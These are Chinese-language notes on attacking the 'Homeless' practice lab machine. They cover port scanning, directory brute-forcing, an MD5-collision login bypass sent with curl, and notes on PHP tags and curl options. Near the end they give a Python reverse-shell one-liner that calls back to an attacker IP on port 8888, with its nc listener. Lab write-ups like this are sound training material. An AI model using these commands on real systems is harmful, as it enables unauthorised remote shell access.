Homeless靶场渗透笔记

root@kali:~# nmap -p-  -A -O 192.168.195.134

https://github.com/maurosoria/dirsearch

gzip -d rockyou.txt.gz

PHP代码有下列几种格式，在此推荐使用第一种格式。1、标准格式，以 <?php 开头，以 ?> 结束。例如：<?phpecho"welcome!";?>
2、短标签，以 <? 开头，以 ?> 结束。例如：<?print "Thisis a PHP example.";?>注：短标签的启用必须启用php.ini中的配置项short_open_tag。使用短标签输出一段文字的话，还可以使用下列简介方式：<?="This is a PHP example."; ?>
3、脚本。例如：<script language="php">print "Thisis a PHP example.";

<?php echo "This is a PHP example."; ?>

https://github.com/thereal1024/python-md5-collision

git clone https://github.com/thereal1024/python-md5-collision.git另外需要安装依赖才能正确运行，需要root权限和python2/3 程序apt-get update

5) --data-urlencode key=value
--data-urlencode参数等同于-d，发送 POST 请求的数据体，区别在于会自动将发送的数据进行 URL编码。先对数据进行URL编码，再发送给HTTP服务器，即对表单中的字段值进行URL编码后再发送。为了兼容CGI，格式为“name+分隔符+content”，如下所示：
name=content，将content进行URL编码，然后提交给HTTP服务器=content，同上，只是未给出引用的name content，同上，注意content中不能包含=和@符号name@filename，从文件filename中读取数据（包括换行符），将读取的数据进行URL编码，然后提交给HTTP服务器@filename，同上

root@kali:/home/tools/python-md5-collision#curl--data-urlencode username@out_test_000.txt--data-urlencodepassword@out_test_001.txt--data-urlencode code@out_test_002.txt--data-urlencode"remember=1&login=Login"http://192.168.195.134/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php-i -i参数打印出服务器回应的HTTP标头。

python-c"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.195.128',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc -lvp 8888